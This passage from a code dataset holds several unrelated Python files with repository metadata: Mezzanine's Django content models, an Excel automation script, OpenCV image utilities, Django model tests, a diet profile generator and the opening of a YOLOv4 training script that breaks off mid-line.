\"\"\"\n Set the description field on save.\n \"\"\"\n if self.gen_description:\n self.description = strip_tags(self.description_from_content())\n super().save(*args, **kwargs)\n\n def meta_title(self):\n \"\"\"\n Accessor for the optional ``_meta_title`` field, which returns\n the string version of the instance if not provided.\n \"\"\"\n return self._meta_title or getattr(self, \"title\", str(self))\n\n def description_from_content(self):\n \"\"\"\n Returns the first block or sentence of the first content-like\n field.\n \"\"\"\n description = \"\"\n # Use the first RichTextField, or TextField if none found.\n for field_type in (RichTextField, models.TextField):\n if not description:\n for field in self._meta.get_fields():\n if isinstance(field, field_type) and field.name != \"description\":\n description = getattr(self, field.name)\n if description:\n from mezzanine.core.templatetags.mezzanine_tags import (\n richtext_filters,\n )\n\n description = richtext_filters(description)\n break\n # Fall back to the title if description couldn't be determined.\n if not description:\n description = str(self)\n # Strip everything after the first block or sentence.\n ends = (\"

\", \"
\", \"
\", \"
\", \"\", \"\\n\", \". \", \"! \", \"? \")\n for end in ends:\n pos = description.lower().find(end)\n if pos > -1:\n description = TagCloser(description[:pos]).html\n break\n else:\n description = truncatewords_html(description, 100)\n try:\n description = unicode(description)\n except NameError:\n pass # Python 3.\n return description\n\n\nclass TimeStamped(models.Model):\n \"\"\"\n Provides created and updated timestamps on models.\n \"\"\"\n\n class Meta:\n abstract = True\n\n created = models.DateTimeField(null=True, editable=False)\n updated = models.DateTimeField(null=True, editable=False)\n\n def save(self, *args, **kwargs):\n _now = now()\n self.updated = _now\n if not self.id:\n self.created = _now\n super().save(*args, **kwargs)\n\n\nCONTENT_STATUS_DRAFT = 1\nCONTENT_STATUS_PUBLISHED = 2\nCONTENT_STATUS_CHOICES = (\n (CONTENT_STATUS_DRAFT, _(\"Draft\")),\n (CONTENT_STATUS_PUBLISHED, _(\"Published\")),\n)\n\nSHORT_URL_UNSET = \"unset\"\n\n\nclass Displayable(Slugged, MetaData, TimeStamped):\n \"\"\"\n Abstract model that provides features of a visible page on the\n website such as publishing fields. Basis of Mezzanine pages,\n blog posts, and Cartridge products.\n \"\"\"\n\n status = models.IntegerField(\n _(\"Status\"),\n choices=CONTENT_STATUS_CHOICES,\n default=CONTENT_STATUS_PUBLISHED,\n help_text=_(\n \"With Draft chosen, will only be shown for admin users \" \"on the site.\"\n ),\n )\n publish_date = models.DateTimeField(\n _(\"Published from\"),\n help_text=_(\"With Published chosen, won't be shown until this time\"),\n blank=True,\n null=True,\n db_index=True,\n )\n expiry_date = models.DateTimeField(\n _(\"Expires on\"),\n help_text=_(\"With Published chosen, won't be shown after this time\"),\n blank=True,\n null=True,\n )\n short_url = models.URLField(blank=True, null=True)\n in_sitemap = models.BooleanField(_(\"Show in sitemap\"), default=True)\n\n objects = wrapped_manager(DisplayableManager)\n search_fields = {\"keywords\": 10, \"title\": 5}\n\n class Meta:\n abstract = True\n\n def save(self, *args, **kwargs):\n \"\"\"\n Set default for ``publish_date``. We can't use ``auto_now_add`` on\n the field as it will be blank when a blog post is created from\n the quick blog form in the admin dashboard.\n \"\"\"\n if self.publish_date is None:\n self.publish_date = now()\n super().save(*args, **kwargs)\n\n def get_admin_url(self):\n return admin_url(self, \"change\", self.id)\n\n def publish_date_since(self):\n \"\"\"\n Returns the time since ``publish_date``.\n \"\"\"\n return timesince(self.publish_date)\n\n publish_date_since.short_description = _(\"Published from\")\n\n def published(self):\n \"\"\"\n For non-staff users, return True when status is published and\n the publish and expiry dates fall before and after the\n current date when specified.\n \"\"\"\n return (\n self.status == CONTENT_STATUS_PUBLISHED\n and (self.publish_date is None or self.publish_date <= now())\n and (self.expiry_date is None or self.expiry_date >= now())\n )\n\n def get_absolute_url(self):\n \"\"\"\n Raise an error if called on a subclass without\n ``get_absolute_url`` defined, to ensure all search results\n contains a URL.\n \"\"\"\n name = self.__class__.__name__\n raise NotImplementedError(\n \"The model %s does not have \" \"get_absolute_url defined\" % name\n )\n\n def get_absolute_url_with_host(self):\n \"\"\"\n Returns host + ``get_absolute_url`` - used by the various\n ``short_url`` mechanics below.\n\n Technically we should use ``self.site.domain``, here, however\n if we were to invoke the ``short_url`` mechanics on a list of\n data (eg blog post list view), we'd trigger a db query per\n item. Using ``current_request`` should provide the same\n result, since site related data should only be loaded based\n on the current host anyway.\n \"\"\"\n return current_request().build_absolute_uri(self.get_absolute_url())\n\n def set_short_url(self):\n \"\"\"\n Generates the ``short_url`` attribute if the model does not\n already have one. Used by the ``set_short_url_for`` template\n tag and ``TweetableAdmin``.\n\n If no sharing service is defined (bitly is the one implemented,\n but others could be by overriding ``generate_short_url``), the\n ``SHORT_URL_UNSET`` marker gets stored in the DB. In this case,\n ``short_url`` is temporarily (eg not persisted) set to\n host + ``get_absolute_url`` - this is so that we don't\n permanently store ``get_absolute_url``, since it may change\n over time.\n \"\"\"\n if not self.short_url or self.short_url == SHORT_URL_UNSET:\n self.short_url = self.generate_short_url()\n self.save()\n if self.short_url == SHORT_URL_UNSET:\n self.short_url = self.get_absolute_url_with_host()\n\n def generate_short_url(self):\n \"\"\"\n Returns a new short URL generated using bit.ly if credentials for the\n service have been specified.\n \"\"\"\n from mezzanine.conf import settings\n\n if settings.BITLY_ACCESS_TOKEN:\n url = \"https://api-ssl.bit.ly/v3/shorten?%s\" % urlencode(\n {\n \"access_token\": settings.BITLY_ACCESS_TOKEN,\n \"uri\": self.get_absolute_url_with_host(),\n }\n )\n response = loads(urlopen(url).read().decode(\"utf-8\"))\n if response[\"status_code\"] == 200:\n return response[\"data\"][\"url\"]\n return SHORT_URL_UNSET\n\n def _get_next_or_previous_by_publish_date(self, is_next, **kwargs):\n \"\"\"\n Retrieves next or previous object by publish date. We implement\n our own version instead of Django's so we can hook into the\n published manager and concrete subclasses.\n \"\"\"\n arg = \"publish_date__gt\" if is_next else \"publish_date__lt\"\n order = \"publish_date\" if is_next else \"-publish_date\"\n lookup = {arg: self.publish_date}\n concrete_model = base_concrete_model(Displayable, self)\n try:\n queryset = concrete_model.objects.published\n except AttributeError:\n queryset = concrete_model.objects.all\n try:\n return queryset(**kwargs).filter(**lookup).order_by(order)[0]\n except IndexError:\n pass\n\n def get_next_by_publish_date(self, **kwargs):\n \"\"\"\n Retrieves next object by publish date.\n \"\"\"\n return self._get_next_or_previous_by_publish_date(True, **kwargs)\n\n def get_previous_by_publish_date(self, **kwargs):\n \"\"\"\n Retrieves previous object by publish date.\n \"\"\"\n return self._get_next_or_previous_by_publish_date(False, **kwargs)\n\n\nclass RichText(models.Model):\n \"\"\"\n Provides a Rich Text field for managing general content and making\n it searchable.\n \"\"\"\n\n content = RichTextField(_(\"Content\"))\n\n search_fields = (\"content\",)\n\n class Meta:\n abstract = True\n\n\nclass OrderableBase(ModelBase):\n \"\"\"\n Checks for ``order_with_respect_to`` on the model's inner ``Meta``\n class and if found, copies it to a custom attribute and deletes it\n since it will cause errors when used with ``ForeignKey(\"self\")``.\n Also creates the ``ordering`` attribute on the ``Meta`` class if\n not yet provided.\n \"\"\"\n\n def __new__(cls, name, bases, attrs):\n if \"Meta\" not in attrs:\n\n class Meta:\n pass\n\n attrs[\"Meta\"] = Meta\n if hasattr(attrs[\"Meta\"], \"order_with_respect_to\"):\n order_field = attrs[\"Meta\"].order_with_respect_to\n attrs[\"order_with_respect_to\"] = order_field\n del attrs[\"Meta\"].order_with_respect_to\n if not hasattr(attrs[\"Meta\"], \"ordering\"):\n setattr(attrs[\"Meta\"], \"ordering\", (\"_order\",))\n return super().__new__(cls, name, bases, attrs)\n\n\nclass Orderable(models.Model, metaclass=OrderableBase):\n \"\"\"\n Abstract model that provides a custom ordering integer field\n similar to using Meta's ``order_with_respect_to``, since to\n date (Django 1.2) this doesn't work with ``ForeignKey(\"self\")``,\n or with Generic Relations. We may also want this feature for\n models that aren't ordered with respect to a particular field.\n \"\"\"\n\n _order = OrderField(_(\"Order\"), null=True)\n\n class Meta:\n abstract = True\n\n def with_respect_to(self):\n \"\"\"\n Returns a dict to use as a filter for ordering operations\n containing the original ``Meta.order_with_respect_to`` value\n if provided. If the field is a Generic Relation, the dict\n returned contains names and values for looking up the\n relation's ``ct_field`` and ``fk_field`` attributes.\n \"\"\"\n try:\n name = self.order_with_respect_to\n value = getattr(self, name)\n except AttributeError:\n # No ``order_with_respect_to`` specified on the model.\n return {}\n # Support for generic relations.\n field = getattr(self.__class__, name)\n if isinstance(field, GenericForeignKey):\n names = (field.ct_field, field.fk_field)\n return {n: getattr(self, n) for n in names}\n return {name: value}\n\n def save(self, *args, **kwargs):\n \"\"\"\n Set the initial ordering value.\n \"\"\"\n if self._order is None:\n lookup = self.with_respect_to()\n lookup[\"_order__isnull\"] = False\n concrete_model = base_concrete_model(Orderable, self)\n self._order = concrete_model.objects.filter(**lookup).count()\n super().save(*args, **kwargs)\n\n def delete(self, *args, **kwargs):\n \"\"\"\n Update the ordering values for siblings.\n \"\"\"\n lookup = self.with_respect_to()\n lookup[\"_order__gte\"] = self._order\n concrete_model = base_concrete_model(Orderable, self)\n after = concrete_model.objects.filter(**lookup)\n after.update(_order=models.F(\"_order\") - 1)\n super().delete(*args, **kwargs)\n\n def _get_next_or_previous_by_order(self, is_next, **kwargs):\n \"\"\"\n Retrieves next or previous object by order. We implement our\n own version instead of Django's so we can hook into the\n published manager, concrete subclasses and our custom\n ``with_respect_to`` method.\n \"\"\"\n lookup = self.with_respect_to()\n lookup[\"_order\"] = self._order + (1 if is_next else -1)\n concrete_model = base_concrete_model(Orderable, self)\n try:\n queryset = concrete_model.objects.published\n except AttributeError:\n queryset = concrete_model.objects.filter\n try:\n return queryset(**kwargs).get(**lookup)\n except concrete_model.DoesNotExist:\n pass\n\n def get_next_by_order(self, **kwargs):\n \"\"\"\n Retrieves next object by order.\n \"\"\"\n return self._get_next_or_previous_by_order(True, **kwargs)\n\n def get_previous_by_order(self, **kwargs):\n \"\"\"\n Retrieves previous object by order.\n \"\"\"\n return self._get_next_or_previous_by_order(False, **kwargs)\n\n\nclass Ownable(models.Model):\n \"\"\"\n Abstract model that provides ownership of an object for a user.\n \"\"\"\n\n user = models.ForeignKey(\n user_model_name,\n on_delete=models.CASCADE,\n verbose_name=_(\"Author\"),\n related_name=\"%(class)ss\",\n )\n\n class Meta:\n abstract = True\n\n def is_editable(self, request):\n \"\"\"\n Restrict in-line editing to the objects's owner and superusers.\n \"\"\"\n return request.user.is_superuser or request.user.id == self.user_id\n\n\nclass ContentTyped(models.Model):\n \"\"\"\n Mixin for models that can be subclassed to create custom types. In order to use\n them:\n\n - Inherit model from ContentTyped.\n - Call the set_content_model() method in the model's save() method.\n - Inherit that model's ModelAdmin from ContentTypesAdmin.\n - Include \"admin/includes/content_typed_change_list.html\" in the change_list.html\n template.\n \"\"\"\n\n content_model = models.CharField(editable=False, max_length=50, null=True)\n\n class Meta:\n abstract = True\n\n @classmethod\n def get_content_model_name(cls):\n \"\"\"\n Return the name of the OneToOneField django automatically creates for\n child classes in multi-table inheritance.\n \"\"\"\n return cls._meta.object_name.lower()\n\n @classmethod\n def get_content_models(cls):\n \"\"\"Return all subclasses of the concrete model.\"\"\"\n concrete_model = base_concrete_model(ContentTyped, cls)\n return [\n m\n for m in apps.get_models()\n if m is not concrete_model and issubclass(m, concrete_model)\n ]\n\n def set_content_model(self):\n \"\"\"\n Set content_model to the child class's related name, or None if this is\n the base class.\n \"\"\"\n if not self.content_model:\n is_base_class = base_concrete_model(ContentTyped, self) == self.__class__\n self.content_model = (\n None if is_base_class else self.get_content_model_name()\n )\n\n def get_content_model(self):\n \"\"\"\n Return content model, or if this is the base class return it.\n \"\"\"\n return getattr(self, self.content_model) if self.content_model else self\n\n\nclass SitePermission(models.Model):\n \"\"\"\n Permission relationship between a user and a site that's\n used instead of ``User.is_staff``, for admin and inline-editing\n access.\n \"\"\"\n\n user = models.OneToOneField(\n user_model_name,\n on_delete=models.CASCADE,\n verbose_name=_(\"Author\"),\n related_name=\"%(class)ss\",\n )\n sites = models.ManyToManyField(\"sites.Site\", blank=True, verbose_name=_(\"Sites\"))\n\n class Meta:\n verbose_name = _(\"Site permission\")\n verbose_name_plural = _(\"Site permissions\")\n","repo_name":"stephenmcd/mezzanine","sub_path":"mezzanine/core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":21011,"program_lang":"python","lang":"en","doc_type":"code","stars":4663,"dataset":"github-code","pt":"18"} +{"seq_id":"43111110498","text":"import openpyxl\nfrom openpyxl.drawing.image import Image\nfrom openpyxl.chart import BarChart, Reference\nwb = openpyxl.load_workbook('sales.xlsx')\nsheets = wb.sheetnames\nuserSheet = wb['Users']\nsaleSheet = wb['Sales']\n#newSheet = wb.create_sheet('new sheet')\n#print(wb.active)\n#wb.save('sales.xlsx')\n#wb.remove_sheet('new sheet1')\n#wb.save('sales.xlsx')\n#dict_cell = userSheet._cells\n#for column in userSheet.columns:\n# print(column[0].value,column[1].value, column[2].value,column[3].value)\n#print(userSheet['c6'].value)\n#userSheet['e1'] = 'New Total'\nref = Reference(userSheet, min_col=3, min_row=2, max_col=3, max_row=11)\nchart = BarChart()\nchart.add_data(ref)\nuserSheet.add_chart(chart, 'J6')\n\nfor i in range(2, 12):\n userSheet['E' + str(i)] = userSheet['C' + str(i)].value + 5\nuserSheet['E12'] = '=SUM(E1:E11)'\nimg= Image('new-logo-csk-2.png')\nimg2 = Image('new-logo-csk-2.png')\n\n#saleSheet.merge_cells('C2:D3')\n\n\n\n#userSheet.add_image(img, 'B12')\n#userSheet.add_image(img2, 'E12')\nwb.save('sales.xlsx')\n\n\nprint(saleSheet.dimensions)\nprint(userSheet['b2'].value)\n\n","repo_name":"Emmzy17/automation","sub_path":"Excel Automation/excel_automation.py","file_name":"excel_automation.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14659252281","text":"#!usr/bin/env python3\n\nfrom pathlib import Path\n\nimport cv2\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom sklearn.datasets import fetch_openml\n\n\ndef fetch_mnist():\n \"\"\"Wrapper for getting the mnist dataset.\n\n Returns:\n X, y: Pictures and labels from the MNIST dataset.\n \"\"\"\n\n X, y = fetch_openml('mnist_784', version=1, return_X_y=True)\n\n return X, y\n\n\ndef setting_default_data_dir(assignment=2):\n \"\"\"Setting a default data directory\n\n Returns:\n PosixPath: Data directory\n \"\"\"\n\n if assignment == 2:\n\n root_dir = Path.cwd() # Setting root directory.\n\n data_dir = root_dir / \"data\" / \"17flowers\" # Setting data directory.\n\n if assignment == 3:\n\n root_dir = Path.cwd() # Setting root directory.\n\n data_dir = root_dir / \"data\" / \"ass3\" # Setting data directory.\n\n if assignment == 5:\n\n root_dir = Path.cwd()\n\n train_data_dir = root_dir / \"data\" / \"impressionist_images\" / \"training\" / \"training\"\n\n val_data_dir = root_dir / \"data\" / \"impressionist_images\" / \"validation\" / \"validation\"\n\n return train_data_dir, val_data_dir\n\n return data_dir\n\n\ndef setting_default_out_dir():\n \"\"\"Setting a default Output directory\n\n Returns:\n PosixPath: Output directory\n \"\"\"\n\n root_dir = Path.cwd() # Setting root directory.\n\n out_dir = root_dir / \"out\" # Setting data directory.\n\n return out_dir\n\ndef setting_default_target_path(assignment=2):\n \"\"\"Setting a default Output directory\n\n Returns:\n PosixPath: Output directory\n \"\"\"\n\n if assignment == 2:\n \n root_dir = Path.cwd() # Setting root directory.\n\n target_path = root_dir / \"data\" / \"17flowers\" / \"image_1360.jpg\" # Setting target path.\n\n if assignment == 3:\n \n root_dir = Path.cwd() # Setting root directory.\n\n target_path = root_dir / \"data\" / \"ass3\" / \"ass3.jpg\" # Setting target path.\n\n return target_path\n\n\ndef get_filepaths_from_data_dir(data_dir, file_extension=\"*.jpg\"):\n \"\"\"Creates a list containing paths to filenames in a data directoryl\n\n Args:\n data_dir (PosixPath): PosixPath to the data directory.\n file_extension (str): A string with the given file extension you want to extract.\n \"\"\"\n\n files = [file for file in data_dir.glob(file_extension) if file.is_file()] # Using list comprehension to get all the file names if they are files.\n\n return files\n\n\ndef get_filename(file):\n \"\"\"Creates a list of filenames in a directory.\n\n Args:\n files (list): List of file paths\n\n Returns:\n filename: list of filenames\n \"\"\"\n\n filename = file.name # I take the last snippet of the path which is the file and the file extension.\n\n return filename\n\n\ndef load_text(file):\n \"\"\"Loads an image.\n\n Args:\n file (PosixPath): A path to an image file.\n\n Returns:\n numpy.ndarray: NumPy Array containg all the pixels for the image.\n \"\"\"\n\n # Read each file.\n\n with open(file, encoding=\"utf-8\") as f:\n\n try:\n\n text = f.read()\n\n except TypeError:\n\n print(\"wtf\")\n\n f.close()\n\n return text\n\ndef load_image(file):\n \"\"\"Loads an image.\n\n Args:\n file (PosixPath): A path to an image file.\n\n Returns:\n numpy.ndarray: NumPy Array containg all the pixels for the image.\n \"\"\"\n\n image = cv2.imread(str(file))\n\n return image\n\n\ndef grab_contours(cnts):\n # if the length the contours tuple returned by cv2.findContours\n # is '2' then we are using either OpenCV v2.4, v4-beta, or\n # v4-official\n if len(cnts) == 2:\n cnts = cnts[0]\n\n # if the length of the contours tuple is '3' then we are using\n # either OpenCV v3, v4-pre, or v4-alpha\n elif len(cnts) == 3:\n \tcnts = cnts[1]\n\n # otherwise OpenCV has changed their cv2.findContours return\n # signature yet again and I have no idea WTH is going on\n else:\n \traise Exception((\"Contours tuple must have length 2 or 3, \"\n \t\t\"otherwise OpenCV changed their cv2.findContours return \"\n \t\t\"signature yet again. Refer to OpenCV's documentation \"\n \t\t\"in that case\"))\n\n # return the actual contours array\n return cnts\n\ndef translate(image, x, y):\n\t# Define the translation matrix and perform the translation\n\tM = np.float32([[1, 0, x], [0, 1, y]])\n\tshifted = cv2.warpAffine(image, M, (image.shape[1], image.shape[0]))\n\n\t# Return the translated image\n\treturn shifted\n\n\ndef rotate(image, angle, center = None, scale = 1.0):\n\t# Grab the dimensions of the image\n\t(h, w) = image.shape[:2]\n\n\t# If the center is None, initialize it as the center of\n\t# the image\n\tif center is None:\n\t\tcenter = (w / 2, h / 2)\n\n\t# Perform the rotation\n\tM = cv2.getRotationMatrix2D(center, angle, scale)\n\trotated = cv2.warpAffine(image, M, (w, h))\n\n\t# Return the rotated image\n\treturn rotated\n\n\ndef resize(image, width = None, height = None, inter = cv2.INTER_AREA):\n\t# initialize the dimensions of the image to be resized and\n\t# grab the image size\n\tdim = None\n\t(h, w) = image.shape[:2]\n\n\t# if both the width and height are None, then return the\n\t# original image\n\tif width is None and height is None:\n\t\treturn image\n\n\t# check to see if the width is None\n\tif width is None:\n\t\t# calculate the ratio of the height and construct the\n\t\t# dimensions\n\t\tr = height / float(h)\n\t\tdim = (int(w * r), height)\n\n\t# otherwise, the height is None\n\telse:\n\t\t# calculate the ratio of the width and construct the\n\t\t# dimensions\n\t\tr = width / float(w)\n\t\tdim = (width, int(h * r))\n\n\t# resize the image\n\tresized = cv2.resize(image, dim, interpolation = inter)\n\n\t# return the resized image\n\treturn resized\n\ndef jimshow(image, title=False):\n \"\"\"imshow with matplotlib dependencies \n \"\"\"\n # Acquire default dots per inch value of matplotlib\n dpi = mpl.rcParams['figure.dpi']\n\n height, width, depth = image.shape\n figsize = width / float(dpi), height / float(dpi)\n \n plt.figure(figsize=figsize)\n \n if depth == 1:\n plt.imshow(image, cmap='gray')\n else:\n plt.imshow(cv2.cvtColor(image, cv2.COLOR_BGR2RGB))\n \n if title:\n plt.title(title)\n plt.axis('off')\n \n plt.show()\n\ndef jimshow_channel(image, title=False):\n \"\"\"\n Modified jimshow() to plot individual channels\n \"\"\"\n # Acquire default dots per inch value of matplotlib\n dpi = mpl.rcParams['figure.dpi']\n\n height, width = image.shape\n figsize = width / float(dpi), height / float(dpi)\n \n plt.figure(figsize=figsize)\n \n plt.imshow(image, cmap='gray')\n \n if title:\n plt.title(title)\n plt.axis('off')\n \n plt.show()","repo_name":"MalteHB/visual_analytics_cds","sub_path":"src/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6685,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"1979923829","text":"# -- DJANGO\nfrom django.contrib.auth import get_user_model\nfrom django.core.exceptions import ValidationError\nfrom django.test import SimpleTestCase, TestCase\nfrom django.utils import datetime_safe\n\n# -- QXSMS\nfrom manager.factories import ManagerFactory\nfrom panelist.factories import PanelistFactory\nfrom panelist.models import BlankSlot, BlankSlotValue, Profile\n\nUser = get_user_model()\n\n\nclass BlankSlotTestCase(SimpleTestCase):\n\n def test_str(self):\n b = BlankSlot(name='foo', description='bar')\n self.assertEqual(str(b), 'foo')\n\n\nclass ProfileTestCase(TestCase):\n @classmethod\n def setUpTestData(cls):\n cls.nc = ManagerFactory()\n cls.panelist = PanelistFactory(panel__managers=[cls.nc])\n cls.blankslot = BlankSlot.objects.create(name='bk1')\n cls.panel = cls.panelist.panel\n\n def test_embedded_data(self):\n BlankSlotValue.objects.create(profile=self.panelist, blankslot=self.blankslot, value='test')\n self.assertEqual(self.panelist.get_embedded_data()['bk1'], 'test')\n\n def test_clean_opt_out(self):\n self.panelist.opt_out_reason = 'reason'\n self.assertRaises(ValidationError, self.panelist.full_clean)\n\n def test_unique_constraint_ess_id_panel(self):\n\n profile = Profile(\n ess_id=self.panelist.ess_id,\n panel=self.panel,\n )\n with self.assertRaisesMessage(ValidationError, \"Profile with this Panel and Ess id already exists.\"):\n profile.validate_unique()\n\n def test_unique_constraints_on_related_user(self):\n User.objects.create(email='foo@bar.eu')\n User.objects.create(phone='+33666666666')\n profile = Profile(email='foo@bar.eu')\n with self.assertRaisesMessage(ValidationError, \"Email belongs to another user\"):\n profile.validate_unique()\n profile = Profile(phone='+33666666666')\n with self.assertRaisesMessage(ValidationError, \"Phone belongs to another user\"):\n profile.validate_unique()\n\n def test_validate_eduyrs_range(self):\n profile = Profile(education_years=100)\n with self.assertRaisesMessage(ValidationError, \"Must be between 1 and 99.\"):\n profile.full_clean()\n\n def test_validate_dob_range(self):\n profile = Profile(day_of_birth=50)\n with self.assertRaisesMessage(ValidationError, \"Must be between 1 and 31, or 77, 88, 99.\"):\n profile.full_clean()\n\n def test_validate_mob_range(self):\n profile = Profile(month_of_birth=13)\n with self.assertRaisesMessage(ValidationError, \"Must be between 1 and 12, or 77, 88, 99.\"):\n profile.full_clean()\n\n def test_validate_yob_range(self):\n profile = Profile(year_of_birth=2010)\n with self.assertRaisesMessage(ValidationError, \"Must be between 1900 and 2005, or 7777, 8888, 9999.\"):\n profile.full_clean()\n\n def test_date_of_birth(self):\n # All field are good\n with self.subTest():\n profile = Profile(year_of_birth=1993, month_of_birth=10, day_of_birth=23)\n self.assertEqual(profile.date_of_birth, datetime_safe.date(year=1993, month=10, day=23))\n # Year above 7777\n with self.subTest():\n profile = Profile(year_of_birth=8888, month_of_birth=42, day_of_birth=11)\n self.assertEqual(profile.date_of_birth, None)\n # Month and day above 77\n with self.subTest():\n profile = Profile(year_of_birth=1993, month_of_birth=77, day_of_birth=77)\n self.assertEqual(profile.date_of_birth, datetime_safe.date(year=1993, month=1, day=1))\n # Month above 12 (simulation of the bug)\n with self.subTest():\n profile = Profile(year_of_birth=1993, month_of_birth=27, day_of_birth=11)\n with self.assertRaisesMessage(ValueError, \"month must be in 1..12\"):\n profile.date_of_birth\n","repo_name":"CDSP-SCPO/WPSS-for-ESS-webpanel","sub_path":"panelist/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":3885,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"31272240194","text":"from .profile import Profile\nfrom ..meals_generator.food_list import foods\nfrom time import sleep\n\ndef profile_generator():\n profile_instance = Profile( \n name=input(f'Input your name: '), \n sex=input(f'Input your sex: '),\n weight=int(input(f'Input your weight: ')),\n target_weight=int(input(f'Input your target weight: ')),\n allergics=check_allergy(),\n calorie_consumption=int(input(f'Input your daily calorie comsumption: ')),\n diet=check_diet(),\n )\n sleep(0.7)\n print(f'Profile created!')\n return profile_instance\n\ndef profile_generator2():\n profile_instance = Profile( \n name='Peter Belly', \n sex='male',\n weight=70,\n target_weight=80,\n allergics=check_allergy(),\n calorie_consumption=2500,\n diet='low_carb',\n )\n return profile_instance\n\ndef check_diet():\n diet_list = ('low_carb', 'dash', 'paleolithic', 'ketogenic')\n diet = input(f'Input your diet type(LOW CARB, DASH, PALEOLITHIC or KETOGENIC): ').lower().replace(' ', '_')\n print(diet)\n if diet not in diet_list:\n print(f'Invalid command! try again...')\n check_diet()\n else:\n return diet\n\ndef check_allergy():\n command = input(f'Do you have any allergic ingredient to avoid? (enter \"yes\" or press \"Enter\" to continue): ')\n if command.lower() == 'yes':\n return generate_allergics()\n elif command and command != 'yes':\n print(f'Invalid command! try again...')\n check_allergy()\n else:\n return []\n\ndef generate_allergics(allergic_list=[]):\n allergic = input('Input your allergic: ')\n\n # Invalid commands check\n if allergic not in foods:\n allergic = input(f'Allergic not found, check the spelling and try again or press \"ENTER\" to contiue: ')\n elif allergic in allergic_list:\n sleep(0.5)\n print(f'Allergic already added!')\n if allergic and allergic not in allergic_list:\n allergic_list.append(allergic)\n sleep(0.5)\n print('Allergic added!')\n else:\n return allergic_list\n run = True\n while run:\n print(f'Your list => {allergic_list}')\n command = input(f'Input \"add\" to add more allergics or press \"Enter\" to exit: ').lower()\n if command == 'add':\n return generate_allergics(allergic_list)\n elif command and command != 'add':\n sleep(0.5)\n print(f'Command invalid! try again.')\n else:\n print(f'Closing function...')\n return allergic_list\n \n\n","repo_name":"JonasFiechter/my_diet","sub_path":"src/features/profile_generator/profile_generator.py","file_name":"profile_generator.py","file_ext":"py","file_size_in_byte":2866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25583845139","text":"from absl import app, flags, logging\nfrom absl.flags import FLAGS\nimport os\nimport shutil\nimport tensorflow as tf\n# from core.yolov4 import YOLO, decode, compute_loss, decode_train\nfrom core.dataset import Dataset\nfrom core.config import cfg\nimport numpy as np\nfrom core import utils\nfrom core.utils import freeze_all, unfreeze_all\nimport csv\n\nflags.DEFINE_string('model', 'yolov4', 'yolov4, yolov3')\nflags.DEFINE_string('weights', None, 'pretrained weights')\nflags.DEFINE_boolean('tiny', False, 'yolo or yolo-tiny')\n\ndef main(_argv):\n physical_devices = tf.config.experimental.list_physical_devices('GPU')\n if len(physical_devices) > 0:\n print(physical_devices) \n print(physical_devices[0]) \n tf.config.experimental.set_memory_growth(physical_devices[0], True)\n from core.yolov4 import YOLO, decode, compute_loss, decode_train\n\n trainset = Dataset(FLAGS, is_training=True)\n testset = Dataset(FLAGS, is_training=False)\n logdir = \"./data/log\"\n isfreeze = False\n steps_per_epoch = len(trainset)\n # first_stage_epochs = cfg.TRAIN.FISRT_STAGE_EPOCHS\n # second_stage_epochs = cfg.TRAIN.SECOND_STAGE_EPOCHS\n epochs = cfg.TRAIN.EPOCHS\n global_steps = tf.Variable(1, trainable=False, dtype=tf.int64)\n warmup_steps = cfg.TRAIN.WARMUP_EPOCHS * steps_per_epoch\n total_steps = (epochs) * steps_per_epoch\n # train_steps = (first_stage_epochs + second_stage_epochs) * steps_per_period\n\n input_layer = tf.keras.layers.Input([cfg.TRAIN.INPUT_SIZE, cfg.TRAIN.INPUT_SIZE, cfg.TRAIN.INPUT_SIZE, 1])\n STRIDES, ANCHORS, NUM_CLASS, XYSCALE = utils.load_config(FLAGS)\n IOU_LOSS_THRESH = cfg.YOLO.IOU_LOSS_THRESH\n\n freeze_layers = utils.load_freeze_layer(FLAGS.model, FLAGS.tiny)\n\n feature_maps = YOLO(input_layer, NUM_CLASS, FLAGS.model, FLAGS.tiny)\n if FLAGS.tiny:\n raise(\"not available\")\n else:\n bbox_tensors = []\n for i, fm in enumerate(feature_maps):\n if i == 0:\n bbox_tensor = decode_train(fm, cfg.TRAIN.INPUT_SIZE // 8, NUM_CLASS, STRIDES, ANCHORS, i, XYSCALE)\n elif i == 1:\n bbox_tensor = decode_train(fm, cfg.TRAIN.INPUT_SIZE // 16, NUM_CLASS, STRIDES, ANCHORS, i, XYSCALE)\n else:\n bbox_tensor = decode_train(fm, cfg.TRAIN.INPUT_SIZE // 32, NUM_CLASS, STRIDES, ANCHORS, i, XYSCALE)\n bbox_tensors.append(fm)\n bbox_tensors.append(bbox_tensor)\n\n # strategy = tf.distribute.MirroredStrategy()\n # with strategy.scope():\n # model = tf.keras.Model(input_layer, bbox_tensors)\n \n\n model = tf.keras.Model(input_layer, bbox_tensors)\n # model = tf.keras.Model(input_layer, feature_maps)\n # model.compile(run_eagerly=True)\n # model.summary()\n\n if FLAGS.weights == None:\n print(\"Training from scratch\")\n else:\n raise\n if FLAGS.weights.split(\".\")[len(FLAGS.weights.split(\".\")) - 1] == \"weights\":\n utils.load_weights(model, FLAGS.weights, FLAGS.model, FLAGS.tiny)\n else:\n model.load_weights(FLAGS.weights)\n print('Restoring weights from: %s ... ' % FLAGS.weights)\n\n\n optimizer = tf.keras.optimizers.Adam()\n if os.path.exists(logdir): shutil.rmtree(logdir)\n # writer = tf.summary.create_file_writer(logdir)\n\n # define training step function\n # @tf.function\n def train_step(image_data, target):\n with tf.GradientTape() as tape:\n pred_result = model(image_data, training=True)\n giou_loss = conf_loss = prob_loss = 0\n\n # optimizing process\n for i in range(len(freeze_layers)):\n conv, pred = pred_result[i * 2], pred_result[i * 2 + 1]\n loss_items = compute_loss(pred, conv, target[i][0], target[i][1], STRIDES=STRIDES, NUM_CLASS=NUM_CLASS, IOU_LOSS_THRESH=IOU_LOSS_THRESH, i=i)\n giou_loss += loss_items[0]\n conf_loss += loss_items[1]\n prob_loss += loss_items[2]\n\n total_loss = giou_loss + 